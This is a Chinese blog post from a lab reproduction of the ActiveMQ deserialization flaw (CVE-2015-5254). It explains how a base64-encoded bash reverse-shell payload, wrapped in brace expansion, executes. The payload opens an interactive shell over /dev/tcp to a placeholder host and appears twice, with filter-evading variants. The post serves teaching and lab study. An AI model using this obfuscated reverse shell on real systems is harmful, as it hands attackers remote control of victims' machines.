背景

在复现vulhub上的漏洞ActiveMQ Deserialization Vulnerability (CVE-2015-5254)时,发现官方文档给出反弹shell的payload

bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}

其他部分倒是没什么说的,只是对其中的形如{command,parameter}的方式执行命令不是很理解,遂查阅了相关资料

bash扩展

bash在执行命令前,会先对整个命令进行处理或者扩展。比如使用通配符定位文件时,在执行cat /etc/passw*前会将其先扩展成cat /etc/passwd,然后再执行该条命令,这种对于通配符的处理就叫做 Pathname Expansion (路径名扩展)

bash中共有7中扩展,按优先级分别是

  • Brace Expansion (花括号扩展)
  • Tilde Expansion (波浪号扩展)
  • Parameter and and Variable Expansion (参数和变量扩展)
  • Command Substitution (命令置换)
  • Arithmetic Expansion (算数扩展)
  • Word Splitting (单词分割)
  • Pathname Expansion (路径扩展)

下图也很好的展示了这个过程

Brace Expansion (花括号扩展)

花括号扩展是可以让bash生成任意字符串的一种扩展功能,与路径扩展非常相似,唯一不同的是生成的字符串可以是不存在的路径或者文件名。

花括号扩展使用格式分为两类

  • preamble+{string1,string2,...,stringN}+postscript

    中间的字符串列表必须由逗号隔开,逗号前后不能有空格,如果string中有空格,则需要用单引号或者双引号括起来。

    bash在实际扩展时,会生成preamble+stringX+postscript的多组字符串,其间由空格隔开

    例如
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{' world',' 'bash,linux}.
hello world. hello bash. hellolinux.
  • preamble+{<START>..<END>[..<INCR>]}+postscript

    其中<START>..<END>组合而成的表达式术语叫做序列表达式(sequence expression),表示一个特定的范围。当<START>和<END>是数字时,代表的是数字范围;当<START>和<END>是单个字母时,代表的是字符范围(默认LC_ALL字符排序)。<START>和<END>必须同为数字或者字母,否则bash不认为是花括号扩展,而是原样输出,其中的<INCR>是可选的,代表的是区间范围的递增数,它必须是数字

    例如
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{1..5}
hello1 hello2 hello3 hello4 hello5
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{1..5..2}
hello1 hello3 hello5
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{a..e..2}
helloa helloc helloe

bash -i/-d

  • bash -c

    若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数
leixiao@LAPTOP-H4MNA5DT:~$ bash -c "echo hello"
hello
  • bash -i

    若用-i参数,则bash是交互的, 交互式shell的意思就是跟用户交互,你输入一行命令,shell就执行一行命令。当然,有交互式就有非交互式,一个 shell脚本的运行方式,就是非交互式shell

base64 -d

  • base64

    从标准输入中读取数据,按Ctrl+D结束输入。将输入的内容编码为base64字符串输出
  • base64 -d

    从标准输入中读取已经进行base64编码的内容,解码输出

管道符(|)

前一个命令的输出,作为后一个命令的输入

leixiao@LAPTOP-H4MNA5DT:~$ echo 'hello'|base64
aGVsbG8K
leixiao@LAPTOP-H4MNA5DT:~$ echo 'aGVsbG8K'|base64 -d
hello

{command,parameter,parameter}

当只输入花括号扩展的表达式时,首先会对其进行处理

例如输入{echo,hello}会变成echo hello,然后执行该语句,所以以下表达式都可以正常执行

  • {e,}cho

    被处理成 echo cho
  • e{cho,hello}

    被处理成 echo ehello
  • ec{h,x}o

    被处理成 echo ecxo
leixiao@LAPTOP-H4MNA5DT:~$ {e,}cho
cho
leixiao@LAPTOP-H4MNA5DT:~$ e{cho,hello}
ehello
leixiao@LAPTOP-H4MNA5DT:~$ ec{h,x}o
ecxo

payload

bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}

这条payload的原理应该已经不言而喻了,还要提一点的是payoad前的bash -c只是在当前漏洞环境需要,依靠漏洞在这个应用中执行任意命令时需要,如果本身就在bash中的话是不用写的,还有最后的{bash,-i}也可以只写成{bash,}或者{,bash}

还有反弹shell命令本身的理解,推荐这篇文章

https://www.freebuf.com/articles/system/153986.html

参考:

https://blog.csdn.net/astrotycoon/article/details/50886676

http://linux.51yip.com/search/bash

linux下形如{command,parameter,parameter}执行命令 / bash花括号扩展的更多相关文章

  1. Linux下搭建实现HttpRunnerManager的异步执行、定时任务及任务监控

    前言 在之前搭建的HttpRunnerManager接口测试平台,我们还有一些功能没有实现,比如异步执行.定时任务.任务监控等,要完成异步执行,需要搭建 RabbitMQ 等环境,今天我们就来实现这些 ...

  2. Linux下安装配置Jmeter5.1,并执行jmx文件

    Windows下的jmeter是GUI模式,可查看操作,但是GUI对性能的干扰比较大,所有一般压测会在Linux上运行. 下面是Linux下安装配置Jmeter5.1,并执行jmx文件的步骤, 一.安 ...

  3. Linux下编译生成SO并进行调用执行

    Linux下编译生成SO并进行调用执行 参考博客的博客: C编译: 动态连接库 (.so文件) - Vamei - 博客园 (cnblogs.com) C 多个动态库存在同名函数问题处理方法:-fvi ...

  4. Linux下的启动oracle的EM的命令

    Linux下的启动oracle的EM的命令 1.启动数据库 su - oracle $sqlplus / as sysdba sql>startup 2.启动监听 $lsnrctl LSNRCT ...

  5. linux下查看当前用户的 三个命令

    linux下查看当前用户的 三个命令 1,whoami; 2,id -un; 3,who -H  可以列出当前所有的    NAME (用户名)    LINE (窗口列表)    TIME(开启时间 ...

  6. linux 下 apache启动、停止、重启命令

    原文:linux 下 apache启动.停止.重启命令 基本的操作方法: 本文假设你的apahce安装目录为/usr/local/apache2,这些方法适合任何情况 apahce启动命令: 推荐/u ...

  7. Linux下文件搜索、查找、查看命令

    Linux下文件搜索.查找.查看命令 1.最强大的搜索命令:find 查找各种文件的命令 2.在文件资料中查找文件:locate 3.搜索命令所在的目录及别名信息:which 4.搜索命令所在的目录及 ...

  8. linux下sar tool command note

    linux下的sar工具简介 我习惯使用的命令是 : sar  -r  -f   /var/log/sa/sa24 sar 既能报告当前数据,也能报告历史数据 不带选项执行会以10分钟为间隔报告自午夜 ...

  9. 怎样在linux下编写C程序并编译执行

    一.Hello, world! 在linux下输入:(以hello.c为例)首先选中文件要保存的路径(如:cd work)vi hello.c(要编辑的文件名) 输入程序:# include<s ...

随机推荐

  1. Gradle task简单使用

    还望支持个人博客站:http://www.enjoytoday.cn task是什么 task是gradle构建脚本的最小运行单元,我们通过在gradle脚本中创建task任务,以期完成某个特定的功能 ...

  2. Linux中fdisk分区

    一.硬盘接口    从整体的角度上,硬盘接口分为IDE.SATA.SCSI和SAS四种,IDE接口硬盘多用于家用产品中,也部分应用于服务器,SCSI接口的硬盘则主要应用于服务器市场,而SAS只在高端服 ...

  3. python生产者和消费者模式实现(三)进程池方式

    注意:如果要使用Pool(进程池方式)创建进程,就需要使用multiprocessing.Manager()中的 Queue(),而不是multiprocessing.Queue() import t ...

  4. Prometheus+Grafana监控MySQL、Redis数据库

    俗话说,没有监控的系统就是在裸奔,好的监控就是运维人员的第三只手,第三只眼.本文将使用prometheus及Grafana搭建一套监控系统来监控主机及数据库(MySQL.Redis). 1.  安装G ...

  5. classmethod,staticmethod,反射,魔法方法,单例模式

    目录 classmethod staticmethod instance issubclass 反射 hasatter getatter setatter delatter 魔法方法 单例模式 什么是 ...

  6. rabbitmq和kafka大概比较

    两者都是一个分布式架构 kafka 具有较高的吞吐量,rabbimq 吞吐量较小 rabbitmq 的可靠性更好,确认机制(生产者和 exchange,消费者和队列),支持事务,但会造成阻塞,委托(添 ...

  7. ubuntu安装cairo

    查看网上大神们的各种安装经过,最后google之后执行下面两句就搞定了:apt-get install python-cairo      apt-get install libcairo2

  8. 动态链接库(Dynamic Link Library)

    DLL INTRODUCTION A DLL is a library that contains code and data that can be used by more than one pr ...

  9. php 学习笔记之日期时间操作一箩筐

    格式化日期时间 date : 格式化日期时间 场景 将当前日期时间或者特定日期时间格式化输出为特定格式的字符串,常用于人性化展示信息. 说明 返回给定时间戳格式化后所产生的日期时间字符串,如果没有给出 ...

  10. CentOS7 部署 Django 项目

    1. 更新系统软件包 yum update -y 2. 安装软件管理包和可能使用的依赖 yum -y groupinstall "Development tools" yum in ...